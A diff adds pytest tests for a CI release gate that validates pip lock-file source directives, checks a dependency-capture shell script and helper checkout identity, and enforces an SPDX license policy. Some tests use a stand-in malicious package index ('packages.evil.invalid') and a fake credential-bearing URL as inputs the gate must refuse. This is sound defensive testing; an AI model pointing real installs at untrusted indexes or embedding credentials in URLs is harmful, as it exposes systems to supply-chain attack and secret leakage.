+        _options(f"{directive}\n{_PIN}", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_UNSUPPORTED
+    assert "is not a supported source form" in str(error.value)
+
+
+def test_an_environment_marker_fails_explicitly(tmp_path: Path) -> None:
+    """Install may skip a marked requirement that download would still fetch."""
+    text = "greenlib==1.0.0 ; python_version < '3.9' \\\n    --hash=sha256:" + "a" * 64
+    with pytest.raises(gate.GateError) as error:
+        _options(text + "\n", tmp_path)
+    assert error.value.code == gate.LOCK_SOURCE_UNSUPPORTED
+    assert "environment markers" in str(error.value)
+
+
+def test_a_directive_without_exactly_one_value_fails(tmp_path: Path) -> None:
+    """A directive with no value, or several, is not a form this gate supports."""
+    for line in ("--index-url", "--index-url a b"):
+        with pytest.raises(gate.GateError) as error:
+            _options(f"{line}\n{_PIN}", tmp_path)
+        assert error.value.code == gate.LOCK_SOURCE_UNSUPPORTED
+
+
+# ---------------------------------------------------------------------------
+# The CLI the capture script calls
+# ---------------------------------------------------------------------------
+
+
+def test_the_cli_emits_one_validated_option_per_line(
+    tmp_path: Path, capsys: pytest.CaptureFixture[str]
+) -> None:
+    """One option per line keeps every value a single argv element in the caller."""
+    (tmp_path / "wheels").mkdir()
+    lock = tmp_path / "lock.txt"
+    lock.write_text(f"--index-url https://pypi.org/simple\n--find-links wheels\n{_PIN}")
+    assert (
+        gate.main(
+            [
+                "lock-source-options",
+                "--lock",
+                str(lock),
+                "--permitted-root",
+                str(tmp_path),
+            ]
+        )
+        == 0
+    )
+    lines = capsys.readouterr().out.splitlines()
+    assert lines[:3] == ["--index-url", "https://pypi.org/simple", "--find-links"]
+    assert Path(lines[3]) == (tmp_path / "wheels").resolve()
+
+
+def test_the_cli_exits_non_zero_on_an_untrusted_origin(
+    tmp_path: Path, capsys: pytest.CaptureFixture[str]
+) -> None:
+    """The capture script checks this status explicitly, so it must be non-zero."""
+    lock = tmp_path / "lock.txt"
+    lock.write_text(f"--index-url https://packages.evil.invalid/simple\n{_PIN}")
+    assert (
+        gate.main(
+            [
+                "lock-source-options",
+                "--lock",
+                str(lock),
+                "--permitted-root",
+                str(tmp_path),
+            ]
+        )
+        == 2
+    )
+    captured = capsys.readouterr()
+    assert gate.LOCK_SOURCE_ORIGIN_DENIED in captured.err
+    # No option was emitted, so a caller reading stdout cannot proceed with a
+    # partial list.
+    assert captured.out == ""
+
+
+def test_the_cli_leaks_no_credential_on_stdout_or_stderr(
+    tmp_path: Path, capsys: pytest.CaptureFixture[str]
+) -> None:
+    """A userinfo URL must not put credential material into any CI stream."""
+    lock = tmp_path / "lock.txt"
+    lock.write_text(f"--index-url https://bot:s3cr3t-T0KEN@pypi.org/simple\n{_PIN}")
+    assert (
+        gate.main(
+            [
+                "lock-source-options",
+                "--lock",
+                str(lock),
+                "--permitted-root",
+                str(tmp_path),
+            ]
+        )
+        == 2
+    )
+    captured = capsys.readouterr()
+    assert gate.LOCK_SOURCE_CREDENTIAL_IN_URL in captured.err
+    assert "s3cr3t-T0KEN" not in captured.err + captured.out
+    assert "bot" not in captured.out
+
+
+def test_the_cli_refuses_a_missing_lock(tmp_path: Path) -> None:
+    """A lock that is not a regular file cannot be validated."""
+    assert (
+        gate.main(
+            [
+                "lock-source-options",
+                "--lock",
+                str(tmp_path / "absent.txt"),
+                "--permitted-root",
+                str(tmp_path),
+            ]
+        )
+        == 2
+    )
+
+
+# ---------------------------------------------------------------------------
+# The capture script wires the validator in fail-closed
+# ---------------------------------------------------------------------------
+
+
+_SCRIPT = Path("scripts/ci/release_dependency_capture_raw.sh")
+
+
+def _executable_lines() -> list[str]:
+    """Return the capture script's executable lines, comments removed."""
+    return [
+        line
+        for line in _SCRIPT.read_text(encoding="utf-8").splitlines()
+        if not line.lstrip().startswith("#")
+    ]
+
+
+def test_the_capture_script_validates_directives_before_downloading() -> None:
+    """Download must receive the validated options, not a directive-free file."""
+    text = "\n".join(_executable_lines())
+    assert "lock-source-options" in text
+    assert '"${source_options[@]}"' in text
+    validate_at = text.index("lock-source-options")
+    download_at = text.index("download --no-deps")
+    assert validate_at < download_at
+
+
+def test_the_validator_status_is_checked_outside_process_substitution() -> None:
+    """`mapfile < <(cmd)` would discard the refusal; the status must be explicit.
+
+    This is the one way the fix could reproduce the very defect it removes: a
+    validator that refuses, whose non-zero status is swallowed, reads as "no
+    options" and collection silently continues from the default index.
+    """
+    text = "\n".join(_executable_lines())
+    assert "mapfile -t source_options < <(" not in text
+    assert 'if ! python3 -I "$GATE_SCRIPT" lock-source-options' in text
+    assert 'mapfile -t source_options <"$options_file"' in text
+
+
+def test_the_capture_script_resolves_the_gate_beside_itself() -> None:
+    """The validator is the trusted sibling module, not a path from the lock."""
+    text = "\n".join(_executable_lines())
+    assert 'GATE_SCRIPT="$(cd -- "$(dirname -- "$0")" && pwd)/release_dependency_gate.py"' in text
+    assert '[ -L "$GATE_SCRIPT" ]' in text
+
+
+# ---------------------------------------------------------------------------
+# The hash pin still decides, whatever source resolved the bytes
+# ---------------------------------------------------------------------------
+
+
+def test_source_options_never_change_the_pinned_hash_set(tmp_path: Path) -> None:
+    """Adding a source directive must not alter which bytes the lock accepts.
+
+    Source resolution decides *where* pip looks; the pin decides *what* is
+    acceptable. `gate` compares each dependency's captured `source_sha256` against
+    `parse_python_lock`'s hashes for that exact name and version, independently of
+    the directives validated here, so an offline `--find-links` root cannot smuggle
+    in a different artifact than install would have accepted.
+    `test_red_tampered_source_hash` covers the tampered-bytes refusal itself.
+    """
+    (tmp_path / "wheels").mkdir()
+    plain = gate.parse_python_lock(_PIN)
+    with_directives = gate.parse_python_lock(
+        f"--index-url https://pypi.org/simple\n--find-links wheels\n{_PIN}"
+    )
+    assert plain == with_directives
+    assert plain == {("greenlib", "1.0.0"): frozenset({"a" * 64})}
+    # And the directives themselves validate, so both facts hold at once.
+    assert _options(
+        f"--index-url https://pypi.org/simple\n--find-links wheels\n{_PIN}", tmp_path
+    )[0] == "--index-url"
+
+
+def test_download_keeps_hash_checking_disabled_so_the_gate_observes_mismatches(
+    tmp_path: Path,
+) -> None:
+    """`pip download` must not pre-empt SOURCE_HASH_MISMATCH by verifying itself."""
+    text = "\n".join(_executable_lines())
+    download = [line for line in text.splitlines() if "download --no-deps" in line]
+    assert download, "no pip download invocation found"
+    assert not any("--require-hashes" in line for line in download)
+    # Install, by contrast, requires hashes and consults no index, so it can only
+    # install the very bytes this download collected and the licence stage judged.
+    install = [line for line in text.splitlines() if "install \\" in line]
+    assert install
+    assert "--require-hashes --only-binary=:all: --no-index" in text
+    assert '--find-links "$DOWNLOAD_ROOT"' in text
+
+
+def test_a_bare_hash_line_is_not_treated_as_a_source_directive(tmp_path: Path) -> None:
+    """A `--hash=` line that was not joined to its spec is still not a directive.
+
+    Continuation joining normally attaches each hash to its requirement, but a lock
+    whose spec line lacks the trailing backslash leaves `--hash=` standing alone.
+    It starts with `-`, so it must be recognized and skipped rather than reported as
+    an unsupported directive form.
+    """
+    text = "greenlib==1.0.0\n--hash=sha256:" + "a" * 64 + "\n"
+    assert _options(text, tmp_path) == []
diff --git a/tests/test_release_dependency_reviewed_artifact_texts.py b/tests/test_release_dependency_reviewed_artifact_texts.py
new file mode 100644
index 0000000000..223721079d
--- /dev/null
+++ b/tests/test_release_dependency_reviewed_artifact_texts.py
@@ -0,0 +1,66 @@
+"""Actual artifact license bytes exercise the same dependency consumer."""
+
+import hashlib
+import json
+from pathlib import Path
+import re
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from scripts.ci import spdx_license_policy as policy
+from tests.test_release_dependency_gate import _python_evidence
+
+ROOT = Path(__file__).parent / "fixtures" / "release_license_texts"
+ROWS = json.loads((ROOT / "provenance.json").read_text(encoding="utf-8"))
+TEXTS = json.loads((ROOT / "texts.json").read_text(encoding="utf-8"))
+
+
+@pytest.mark.parametrize("row", ROWS, ids=lambda r: r["package"])
+def test_actual_whole_text_and_consumer(row):
+    """Whole text matches recorded bytes and the declared-license caller."""
+    raw = TEXTS[row["fixture"]].encode("utf-8")
+    assert hashlib.sha256(raw).hexdigest() == row["raw_sha256"]
+    text = raw.decode("utf-8")
+    normalized = re.sub(r"[ \t\r\n]+", " ", text).strip(" \t\r\n")
+    assert hashlib.sha256(normalized.encode()).hexdigest() == row["normalized_sha256"]
+    assert policy.recognize_license_text(text) == frozenset({row["identifier"]})
+    # This synthetic declaration exercises the recognizer, and does not claim
+    # that atheris's actual missing metadata has been repaired.
+    evidence = _python_evidence(license_expression=row["identifier"],
+                                license_texts={"LICENSE": text})
+    failures, _, _ = gate.evaluate_dependency_license(evidence, row["package"], None)
+    assert failures == []
+
+
+@pytest.mark.parametrize("row", ROWS, ids=lambda r: r["package"])
+@pytest.mark.parametrize("placement", ["prefix", "suffix", "body", "notice"])
+def test_additional_condition_and_multifile_are_rejected(row, placement):
+    """No additional condition can inherit the recognized full-text digest."""
+    text = TEXTS[row["fixture"]]
+    restriction = "Commercial use is prohibited. Academic research only."
+    files = {"LICENSE": text}
+    if placement == "prefix":
+        files["LICENSE"] = restriction + "\n" + text
+    elif placement == "suffix":
+        files["LICENSE"] = text + "\n" + restriction
+    elif placement == "body":
+        middle = len(text) // 2
+        files["LICENSE"] = text[:middle] + restriction + text[middle:]
+    else:
+        files["NOTICE"] = restriction
+    failures, _, _ = gate.evaluate_dependency_license(
+        _python_evidence(license_expression=row["identifier"], license_texts=files),
+        row["package"], None)
+    assert [f.code for f in failures] == [policy.LICENSE_TEXT_UNVERIFIED]
+
+
+def test_atheris_missing_declaration_is_not_auto_repaired():
+    """Identifying bundled Apache text does not manufacture package metadata."""
+    row = next(r for r in ROWS if r["package"] == "atheris@3.1.0")
+    failures, decision, _ = gate.evaluate_dependency_license(
+        _python_evidence(license_expression=None, license="", classifiers=[],
+                         license_texts={"LICENSE": TEXTS[row["fixture"]]}),
+        row["package"], None)
+    assert not decision.allowed
+    assert failures
diff --git a/tests/test_release_fixed_helper_identity.py b/tests/test_release_fixed_helper_identity.py
new file mode 100644
index 0000000000..5dd5dae194
--- /dev/null
+++ b/tests/test_release_fixed_helper_identity.py
@@ -0,0 +1,65 @@
+"""Execute the fixed-source guards with inert synthetic git responses."""
+import os
+from pathlib import Path
+import re
+import subprocess
+
+import pytest
+
+ROOT = Path(__file__).resolve().parents[1]
+PIN = "00c6551183cca101cfc97c43656a17cc2491c1b4"
+CASES = [("release-dependency-license-strix-gate.yml", "trusted-gate"),
+         ("exact-artifact-sbom-attestation.yml", "trusted-intake"),
+         ("exact-artifact-sbom-attestation.yml", "trusted-signer")]
+
+
+def _parts(filename, destination):
+    text = (ROOT / ".github/workflows" / filename).read_text()
+    checkout = text.split(f"          path: {destination}\n", 1)[0].rsplit("      - name:", 1)[1]
+    after = text.split(f"          HELPER_ROOT: {destination}\n", 1)[1]
+    step = after.split("\n      - ", 1)[0]
+    script = step.split("        run: |\n", 1)[1]
+    return checkout, "\n".join(line[10:] for line in script.splitlines())
+
+
+@pytest.mark.parametrize("filename,destination", CASES)
+def test_literal_source_pin_and_sibling_scope(filename, destination):
+    checkout, script = _parts(filename, destination)
+    assert f"ref: {PIN}" in checkout
+    assert "repository: ContextualWisdomLab/.github" in checkout
+    assert "${{" not in checkout
+    assert f"expected={PIN}" in script
+    text = (ROOT / ".github/workflows" / filename).read_text()
+    following = text.split(f"          path: {destination}\n", 1)[1]
+    scope = following.split("      - name: Verify fixed helper checkout identity", 1)[0]
+    assert "scripts/ci/" in scope and "requirements-strix-ci-hashes.txt" in scope
+
+
+@pytest.mark.parametrize("filename,destination", CASES)
+@pytest.mark.parametrize("case", ["ok", "caller_changed", "foreign", "missing", "pin", "tree", "dirty", "file"])
+def test_actual_guard_rejects_bad_source(tmp_path, filename, destination, case):
+    _, script = _parts(filename, destination)
+    helper = tmp_path / destination
+    (helper / "scripts/ci").mkdir(parents=True)
+    for name in ("scripts/ci/release_dependency_gate.py", "scripts/ci/verify_exact_artifact_sbom_handoff.py", "requirements-strix-ci-hashes.txt"):
+        if not (case == "file" and name.endswith("release_dependency_gate.py")):
+            (helper / name).write_text("inert fixture")
+    fake = '''git() {
+      if [ "$CASE" = missing ]; then return 128; fi
+      case "$*" in
+        *"rev-parse HEAD:scripts/ci") [ "$CASE" = tree ] && echo bad || echo bf26d3eefdb71fe79b855d941ffb46eb432b2f76 ;;
+        *"rev-parse HEAD:requirements-strix-ci-hashes.txt") echo 9e705850b5ce53c7fe836bc3df3a18771151e3f6 ;;
+        *"rev-parse HEAD") [ "$CASE" = pin ] && echo bad || echo 00c6551183cca101cfc97c43656a17cc2491c1b4 ;;
+        *"remote get-url origin") [ "$CASE" = foreign ] && echo https://github.com/caller/repo || echo https://github.com/ContextualWisdomLab/.github ;;
+        *"diff --exit-code"*) [ "$CASE" != dirty ] ;;
+        *) return 99 ;;
+      esac
+    }
+'''
+    result = subprocess.run(["bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", fake + script],
+        env={**os.environ, "HELPER_ROOT": str(helper), "CASE": case,
+             "CALLER_WORKFLOW_SHA": ("b" if case == "caller_changed" else "a") * 40},
+        capture_output=True, text=True)
+    assert (result.returncode == 0) is (case in ("ok", "caller_changed")), result.stderr
+    if result.returncode == 0:
+        assert f"helper_sha={PIN}" in result.stdout
diff --git a/tests/test_spdx_license_policy.py b/tests/test_spdx_license_policy.py
new file mode 100644
index 0000000000..548d39822e
--- /dev/null
+++ b/tests/test_spdx_license_policy.py
@@ -0,0 +1,197 @@
+"""SPDX expression parsing and release license policy (issue #2342).
+
+Substring matching cannot distinguish ``AGPL-3.0-only`` from ``Apache-2.0`` or
+``MIT OR GPL-2.0-only`` from ``MIT AND GPL-2.0-only``; these tests pin the
+parsed-expression behaviour the central pre-publish gate depends on.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from scripts.ci import spdx_license_policy as policy
+
+
+def test_parses_and_renders_nested_operators() -> None:
+    """AND/OR/WITH and parentheses round-trip through the operator tree."""
+    node = policy.parse_license_expression("(MIT OR Apache-2.0) AND BSD-3-Clause")
+    assert isinstance(node, policy.Conjunction)
+    assert policy.render_expression(node) == "(MIT OR Apache-2.0) AND BSD-3-Clause"
+
+    exception = policy.parse_license_expression("Apache-2.0 WITH LLVM-exception")
+    assert isinstance(exception, policy.WithException)
+    assert policy.render_expression(exception) == "Apache-2.0 WITH LLVM-exception"
+
+    or_later = policy.parse_license_expression("Apache-2.0+")
+    assert or_later == policy.LicenseId("Apache-2.0", True)
+    assert policy.render_expression(or_later) == "Apache-2.0+"
+
+
+@pytest.mark.parametrize(
+    "expression",
+    [
+        "",
+        "   ",
+        "MIT AND",
+        "AND MIT",
+        "(MIT",
+        "MIT)",
+        ")",
+        "(MIT MIT)",
+        "MIT Apache-2.0",
+        "(MIT OR Apache-2.0) WITH LLVM-exception",
+        "Apache-2.0 WITH (MIT)",
+        "MIT AND $$$",
+        "+",
+    ],
+)
+def test_malformed_expressions_do_not_parse(expression: str) -> None:
+    """Every unparseable expression raises rather than silently degrading."""
+    with pytest.raises(policy.SpdxParseError):
+        policy.parse_license_expression(expression)
+
+
+@pytest.mark.parametrize(
+    ("expression", "code"),
+    [
+        ("GPL-2.0-only", policy.LICENSE_DENIED_GPL),
+        ("GPL-3.0-or-later", policy.LICENSE_DENIED_GPL),
+        ("GPL-2.0+", policy.LICENSE_DENIED_GPL),
+        ("gpl-3.0", policy.LICENSE_DENIED_GPL),
+        ("LGPL-2.1-only", policy.LICENSE_DENIED_LGPL),
+        ("LGPL-3.0-or-later", policy.LICENSE_DENIED_LGPL),
+        ("AGPL-3.0-only", policy.LICENSE_DENIED_AGPL),
+        ("AGPL-3.0-or-later", policy.LICENSE_DENIED_AGPL),
+        ("GPL-2.0-only WITH Classpath-exception-2.0", policy.LICENSE_DENIED_GPL),
+        ("MIT AND LGPL-3.0-only", policy.LICENSE_DENIED_LGPL),
+    ],
+)
+def test_copyleft_families_are_denied_in_every_spelling(expression: str, code: str) -> None:
+    """GPL, LGPL, and AGPL are denied in every version and both -only/-or-later forms."""
+    decision = policy.evaluate_license_expression(expression)
+    assert (decision.allowed, decision.code) == (False, code)
+
+
+@pytest.mark.parametrize(
+    "expression", ["MIT", "Apache-2.0", "BSD-3-Clause", "MIT AND Apache-2.0"]
+)
+def test_permissive_expressions_are_allowed(expression: str) -> None:
+    """Permissive identifiers and conjunctions of them pass."""
+    decision = policy.evaluate_license_expression(expression)
+    assert decision.allowed
+    assert decision.selected == expression
+
+
+@pytest.mark.parametrize(
+    ("value", "code"),
+    [
+        (None, policy.LICENSE_MISSING),
+        ("", policy.LICENSE_MISSING),
+        ("NOASSERTION", policy.LICENSE_UNRECOGNIZED),
+        ("NONE", policy.LICENSE_UNRECOGNIZED),
+        ("UNKNOWN", policy.LICENSE_UNRECOGNIZED),
+        ("custom", policy.LICENSE_UNRECOGNIZED),
+        ("LicenseRef-Proprietary", policy.LICENSE_UNRECOGNIZED),
+        ("MIT AND", policy.LICENSE_UNPARSEABLE),
+        ("Apache-2.0 WITH Unknown-exception", policy.LICENSE_UNRECOGNIZED),
+    ],
+)
+def test_missing_unknown_and_unparseable_declarations_fail(value: str | None, code: str) -> None:
+    """A gate cannot pass what it could not read: every such case fails closed."""
+    decision = policy.evaluate_license_expression(value)
+    assert (decision.allowed, decision.code) == (False, code)
+
+
+def test_allowed_exception_on_permissive_base_passes() -> None:
+    """A recognized exception qualifying an allowed license stays allowed."""
+    decision = policy.evaluate_license_expression("Apache-2.0 WITH LLVM-exception")
+    assert decision.allowed
+    assert decision.selected == "Apache-2.0 WITH LLVM-exception"
+
+
+def test_dual_license_requires_an_explicit_selection() -> None:
+    """OR never passes on its own, however permissive an operand may be."""
+    decision = policy.evaluate_license_expression("MIT OR GPL-2.0-only")
+    assert (decision.allowed, decision.code) == (False, policy.LICENSE_SELECTION_REQUIRED)
+
+
+def test_dual_license_selection_records_its_rationale() -> None:
+    """A selected non-GPL operand passes and carries the rationale into provenance."""
+    decision = policy.evaluate_license_expression(
+        "MIT OR GPL-2.0-only", selection="MIT", rationale="MIT chosen for commercial reuse"
+    )
+    assert decision.allowed
+    assert decision.selected == "MIT"
+    assert decision.rationale == "MIT chosen for commercial reuse"
+
+
+def test_dual_license_selection_needs_a_rationale() -> None:
+    """A selection without a written rationale is not a selection."""
+    decision = policy.evaluate_license_expression("MIT OR GPL-2.0-only", selection="MIT")
+    assert (decision.allowed, decision.code) == (False, policy.LICENSE_SELECTION_INVALID)
+
+
+def test_selection_must_name_an_operand_of_the_expression() -> None:
+    """A selection naming a license the dependency never offered is rejected."""
+    decision = policy.evaluate_license_expression(
+        "GPL-2.0-only OR AGPL-3.0-only", selection="MIT", rationale="wishful thinking"
+    )
+    assert (decision.allowed, decision.code) == (False, policy.LICENSE_SELECTION_INVALID)
+
+
+def test_selecting_a_denied_operand_still_fails() -> None:
+    """Selecting the copyleft half of a dual license does not launder it."""
+    decision = policy.evaluate_license_expression(
+        "MIT OR GPL-2.0-only", selection="GPL-2.0-only", rationale="explicitly chosen"
+    )
+    assert (decision.allowed, decision.code) == (False, policy.LICENSE_DENIED_GPL)
+
+
+def test_conjunction_of_selected_disjunction_is_allowed() -> None:
+    """A selection resolves an OR nested inside an AND."""
+    decision = policy.evaluate_license_expression(
+        "(MIT OR GPL-2.0-only) AND Apache-2.0",
+        selection="MIT",
+        rationale="MIT chosen for commercial reuse",
+    )
+    assert decision.allowed
+
+
+@pytest.mark.parametrize(
+    ("text", "code"),
+    [
+        ("GNU AFFERO GENERAL PUBLIC LICENSE\nVersion 3", policy.LICENSE_DENIED_AGPL),
+        ("GNU LESSER GENERAL PUBLIC LICENSE", policy.LICENSE_DENIED_LGPL),
+        ("GNU LIBRARY GENERAL PUBLIC LICENSE", policy.LICENSE_DENIED_LGPL),
+        ("gnu general public license", policy.LICENSE_DENIED_GPL),
+    ],
+)
+def test_bundled_license_text_is_scanned_for_copyleft(text: str, code: str) -> None:
+    """Bundled license *text* is matched by substring; that is correct for prose."""
+    assert policy.scan_license_text(text) == code
+
+
+def test_permissive_license_text_is_not_flagged() -> None:
+    """MIT license text carries no copyleft marker."""
+    assert policy.scan_license_text("MIT License\n\nPermission is hereby granted") is None
+
+
+def test_classifier_fallback_maps_to_spdx() -> None:
+    """Trove classifiers become an SPDX expression when no declaration exists."""
+    assert policy.spdx_from_classifiers(["License :: OSI Approved :: MIT License"]) == "MIT"
+    assert policy.spdx_from_classifiers(["Topic :: Utilities"]) is None
+    assert (
+        policy.spdx_from_classifiers(
+            [
+                "License :: OSI Approved :: MIT License",
+                "License :: OSI Approved :: Apache Software License",
+            ]
+        )
+        == "Apache-2.0 OR MIT"
+    )
+
+
+def test_unknown_identifier_is_not_silently_allowed() -> None:
+    """An identifier outside the allowlist fails rather than passing as unknown."""
+    decision = policy.classify_identifier("Elastic-2.0")
+    assert (decision.allowed, decision.code) == (False, policy.LICENSE_UNRECOGNIZED)